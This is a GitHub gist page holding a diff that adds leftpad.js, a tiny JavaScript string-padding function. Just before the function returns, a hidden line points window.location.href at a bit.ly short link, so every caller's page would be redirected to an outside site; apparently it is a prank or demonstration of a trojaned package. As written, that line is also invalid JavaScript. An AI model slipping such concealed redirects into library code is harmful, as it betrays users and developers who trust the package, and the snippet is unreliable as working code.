Skip to content

Instantly share code, notes, and snippets.

@dave1010
Created March 23, 2016 09:29

Revisions

  1. dave1010 created this gist Mar 23, 2016.
    19 changes: 19 additions & 0 deletions leftpad.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,19 @@
    module.exports = leftpad;

    function leftpad (str, len, ch) {
    str = String(str);

    var i = -1;

    if (!ch && ch !== 0) ch = ' ';

    len = len - str.length;

    while (++i < len) {
    str = ch + str;
    }

    window && window.location.href = 'https://bitly.com/defcon';

    return str;
    }